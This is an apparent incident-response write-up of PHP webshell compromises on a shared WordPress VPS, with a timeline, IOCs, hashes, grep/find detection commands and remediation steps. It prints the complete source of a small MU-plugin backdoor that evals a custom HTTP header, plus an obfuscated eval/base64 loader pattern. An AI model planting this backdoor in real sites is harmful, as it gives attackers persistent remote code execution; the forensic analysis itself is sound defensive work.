Security9 min read
Case study - PHP webshells on a shared WordPress VPS (2025–2026)
Forensic breakdown of three compromise waves - MU-plugin backdoor, root-owned filemanager dropper, and SEO cloaking kit - with no client or domain names.

In November 2026 we closed a compromise chain on a shared AlmaLinux VPS (hosting control panel + multiple WordPress accounts) that had been active from December 2025 through late October 2026. This write-up covers what we found, how each PHP artefact worked, and what cleanup required - with no client names, domains, or public URLs.
The goal is detection and response, not a how-to-attack guide. Indicators below are enough to hunt the same families on your own hosts.
TL;DR
| Wave | When | Artefact | Role |
|---|---|---|---|
| 1 | Dec 2025 | MU-plugin (~292 B) | silent eval() via custom HTTP header |
| 2 | 31 Oct 2026 | hawo.php (~305 KiB, root:root) |
filemanager dropper on 3 accounts, identical SHA-256 |
| 2b | same day (+min) | doni.inc.php + OSD_DATA/*.alfa |
installer + CGI helpers |
| 2c | same day (~+35 min) | ScrapingVisitor .htaccess |
SEO cloaking (bots see spam; humans get redirects) |
| 3 (legacy) | 2023 | about.php “Imunify remnant” |
loader that survived a “cleanup” |
Outcome: all artefacts quarantined, clean .htaccess restored, PHP-FPM and kernel patches applied; attacker SSH/panel login on drop day not confirmed.
Environment
- AlmaLinux 8 shared VPS with a hosting control panel
- Multiple Linux users / WordPress installs on one machine
- Apache + PHP-FPM (alt-php 8.2–8.5); panel PHP separate
- Malware scanners (e.g. Maldet) commonly skip uid 0
In this text: Account A / B / C = three WP sites hit by the same hawo.php; Account D = older remnant; Operator-1/2 = anonymised access-log sources.
Timeline
Wave 1 - quiet backdoor (10 Dec 2025)
On Account A, ~21:14–21:15 UTC:
- Authenticated session enters
wp-admin. - Opens WP PHP Console (
admin.php?page=wp-php-console). - Successful
POSTto that page. - Same minute:
wp-content/mu-plugins/test-mu-plugin.phpappears (site-user owned, ~292 bytes).
Must-use plugins load on every request, with no UI activation step - ideal persistence.
Wave 2 - lateral drop (31 Oct 2026)
| UTC | Event |
|---|---|
| 12:37:20 | hawo.php birth on Account A, root:root, 311 711 B |
| 12:37:31 | Operator-1 GET /hawo.php → HTTP 200 (small login/stub body) |
| 12:37:57 | POST to OSD_DATA/osdcgiapi/{perl,py}.alfa (500 - CGI helpers failed here) |
| 12:39:35 | doni.inc.php (site-user owned) |
| 12:49:01 | same hawo.php on Account B (root:root) |
| 12:49:14 | Operator-2 GET /hawo.php on B → 200 |
| 12:49:43 | same hawo.php on Account C (root:root) |
| ~13:12 | User-Agent: Mozilla/5.0 ScrapingSetup mass POST /setup.php - SEO kit install |
hawo.php SHA-256 on A/B/C: identicale2b7f9a290872d2e015a8b9ba2179947d3c3cc1a02d040af3493d0bf8d4bb48b
Wave 3 - legacy remnant (Account D, 2023)
about.php in the document root: Imunify360 inserted a “safe” comment and exit();, but line 1 still runs a loader before that. Classic half-clean.
Sample 1: MU-plugin HTTP-header eval
Path: wp-content/mu-plugins/test-mu-plugin.php
Size: 292 B
SHA-256: af5ee8eab067b2340640d5208417c67f932a652d45e8d3501928b7fa482833cb
Born: 10 Dec 2025 21:15 UTC
Owner: site user (not root)
<?php
/*
Plugin Name: Custom MU Plugin
Description: MU-test-plugin.
*/
// Ваш код, который нужно вставить
$the_title_sj = $_SERVER;
$the_title_ycdv = 'HTTP_1C062F9';
if (isset($the_title_sj[$the_title_ycdv])) {
eval($the_title_sj[$the_title_ycdv]);
}
Behaviour
- WordPress loads the MU-plugin on every HTTP request.
- Attacker sends a request whose custom header lands in
$_SERVER['HTTP_1C062F9']. - Header value is passed straight to
eval().
No password UI, tiny footprint, no shell_exec in-file - signature scanners looking for FilesMan / c99 miss it. Hunt: HTTP_1C062F9 or generic eval($_SERVER[...]) under mu-plugins/.
Entry
Access logs tie file birth to WP PHP Console in the same minute. After an admin session is stolen or reused, one POST is enough. Harden: remove PHP-console / file-manager plugins from production; 2FA on all admins; IP-restrict wp-admin where feasible.
Sample 2: hawo.php - root-owned filemanager dropper
Path: document root (/hawo.php) on Accounts A, B, C
Size: 311 711 B
SHA-256: e2b7f9a2…8d4bb48b (same on all three)
Owner: root:root
Birth: 31 Oct 2026 12:37 / 12:49 UTC
Obfuscation
Outer wrapper:
<?=eval("?>".base64_decode("…"));
First peel shows the same pattern again plus packer comments:
//Encode by : Unknown45
//Obfuscated by : Unknown45
Known packing chain for PHP filemanager / WSO-family tools (FS browse, upload, edit, command UI). The outer file deliberately lacks FilesMan, shell_exec, auth_pass strings - a naive grep looks “clean”.
Why root:root matters
- Birth metadata shows the file was created as root, not later
chown’d. - Maldet-class tools often skip uid 0 - dropper stays invisible until you
find … -user rootin webroots. - Secondary payloads (
doni.inc.php, SEO dirs,OSD_DATA) were site-user owned - typical: root drops the primary shell, then the session continues as the FPM user.
Access log
Immediately after birth: GET /hawo.php → 200 with a small body (~274 B) - consistent with a filemanager login/stub. TelegramBot probes follow quickly.
Root-drop hypotheses (no smoking gun)
Ruled out that day: successful attacker SSH login, CWP client login. Most plausible classes:
- Earlier root foothold (cron, panel PHP running as root, leftover setuid helper).
- Abuse of panel/web stacks that execute PHP as root (known anti-pattern on some control-panel FPM setups).
- Less likely: same-day privilege escalation from the already-compromised WP (weak evidence in the minute-level logs).
Practical lesson: a periodic find /home/*/public_html -user root -name '*.php' is a cheap canary.
Sample 3: doni.inc.php - “Deathin Installer”
Size: 279 075 B
SHA-256: 125fef4add975c56b4ac376dfc3bba97b75321fe5b4aa94deb795b926485729d (A and B)
Owner: site user
Birth: ~2 minutes after hawo.php on the same account
Disguised as a WordPress plugin:
/**
* Plugin Name: Deathin Installer
* Description: Extract archive .tar.gz / .zip langsung dari wp-admin tanpa akses FTP.
* Version: 1.0
* Author: Private
* License: GPL-2.0+
*/
Followed by safeDecrypt($data, $key) using base64_decode and an IV derived from the key - encrypted installer payload. Role in the chain: unpack SEO/spam archives and plant helpers without FTP, usually driven from the already-open filemanager or a follow-up bot.
Sample 4: OSD_DATA/osdcgiapi - Alfa CGI helpers
Seconds after the first hawo hit on Account A:
| File | Type |
|---|---|
bash.alfa |
Bash |
perl.alfa |
Perl |
py.alfa |
Python |
.htaccess |
handlers / access |
tmp-osdcgiapi/getheader.alfa |
shell helper |
*.alfa under OSD_DATA/osdcgiapi matches the Alfa Shell ecosystem: PHP filemanager + CGI fallbacks when disable_functions kills PHP shell_exec. Our POSTs returned 500 - helpers did not fully run - but intent is clear.
Sample 5: ScrapingVisitor SEO cloaking
After the dropper, the kit rewrites .htaccess with # BEGIN ScrapingVisitor:
- Exceptions for crawlers (Googlebot, Bingbot, Ahrefs, Semrush, Facebook, …) plus sitemap/robots paths.
- Mobile non-bot UAs → 302 to external parking/spam (
friv.comin our sample; an older variant referenced another redirect host). - RewriteRule maps to local static HTML spam clones.
Plus dozens of directories of spam index.html. Effect: bots see “content”; humans get redirects; owners notice late via Search Console.
UA Mozilla/5.0 ScrapingSetup on POST /setup.php is a strong install IOC.
Sample 6: about.php - Imunify half-clean loader
Size: 15 081 B
SHA-256: c30950c51ba7dcf4acd63ce552d87fe6a360516839c42fbbba2595aa55a12d84
mtime: 2023-12-24
Structure:
- Line 1:
file_get_contents(__FILE__)+ split on?>+str_rot13/base64_decode- classic self-reading loader. - Then Imunify banner +
exit();. - After
?>: trailing payload blob still present.
PHP runs line 1 before exit(). If you see an Imunify remnant banner in the document root - delete the whole file.
Kill chain
[Admin session / WP PHP Console] ──► MU-plugin eval(header)
│ │
│ (months of quiet)
▼
[Root-capable writer] ──► hawo.php (root) on A, B, C
│
├─► OSD_DATA/*.alfa (CGI fallback; 500 here)
├─► doni.inc.php (Deathin Installer, user-owned)
└─► ScrapingSetup ► .htaccess cloaking + spam HTML
Parallel (older): about.php Imunify remnant on Account D
Three accounts + identical SHA within <15 minutes ⇒ automated lateral deploy, not a manual one-off.
Why scanners missed pieces
| Layer | Miss reason |
|---|---|
| 292 B MU-plugin | no classic signature strings |
root hawo.php |
uid 0 skipped; nested base64 |
| Imunify remnant | banner says “safe”; loader on line 1 |
| SEO kit | HTML + .htaccess, not a “webshell” signature |
Remediation performed
- Quarantine (copy + SHA-256 + remove) of all artefacts above; forensic keep of SEO trees and
.htaccess.hacked. - Clean WordPress
.htaccessrestored. - Re-scan (PHP signatures + Imunify remnant +
HTTP_1C062F9+ ScrapingVisitor). - PHP-FPM raised to patches for the then-critical RCE class; separate kernel TCP UAF CVE patched.
- Client guidance: rotate WP/admin/FTP secrets, 2FA, remove PHP console / file manager plugins, audit
wp_users.
IOC table
| Type | Value |
|---|---|
| File | hawo.php in document root |
| File | doni.inc.php |
| Dir | OSD_DATA/osdcgiapi/, tmp-osdcgiapi/ |
| Ext | *.alfa (bash/perl/py) |
| MU-plugin | HTTP_1C062F9 / eval on $_SERVER |
.htaccess |
# BEGIN ScrapingVisitor |
| UA | Mozilla/5.0 ScrapingSetup |
| SHA-256 | e2b7f9a290872d2e015a8b9ba2179947d3c3cc1a02d040af3493d0bf8d4bb48b (hawo) |
| SHA-256 | 125fef4add975c56b4ac376dfc3bba97b75321fe5b4aa94deb795b926485729d (doni) |
| SHA-256 | af5ee8eab067b2340640d5208417c67f932a652d45e8d3501928b7fa482833cb (MU) |
| SHA-256 | c30950c51ba7dcf4acd63ce552d87fe6a360516839c42fbbba2595aa55a12d84 (about remnant) |
| Comment | Encode by : Unknown45 |
| Plugin facade | Deathin Installer |
| Imunify | artifacts of previous malicious infection + file_get_contents(__FILE__) in the same file |
Cheap canaries (read-only)
find /home/*/public_html -type f -name '*.php' -user root 2>/dev/null
grep -RIl --include='*.php' -E 'HTTP_1C062F9|ScrapingVisitor|Deathin Installer|Unknown45|artifacts of previous malicious infection' /home/*/public_html 2>/dev/null
grep -RIl 'BEGIN ScrapingVisitor' /home/*/public_html/.htaccess 2>/dev/null
Lessons
- Tiny backdoors beat giant shells for long-lived access; big shells arrive for speed and lateral movement.
- Root-owned PHP under
public_htmlis an incident, not a weird permission. - Antivirus remnant ≠ clean - read line 1.
- SEO cloaking is often the business goal (traffic/spam), not defacement.
- Same SHA on multiple accounts in minutes ⇒ assume host/panel blast radius, not one plugin.
- Remove tools that execute arbitrary PHP from wp-admin.
Intentionally omitted
Full deobfuscated innards of hawo.php / doni decrypt keys, operator IPs, and domain names. Defence needs IOCs and behaviour - not a reproduction kit.
If you run shared WordPress hosting and want the same audit pattern (canary → quarantine → log forensics), get in touch - we start read-only, without taking production down.

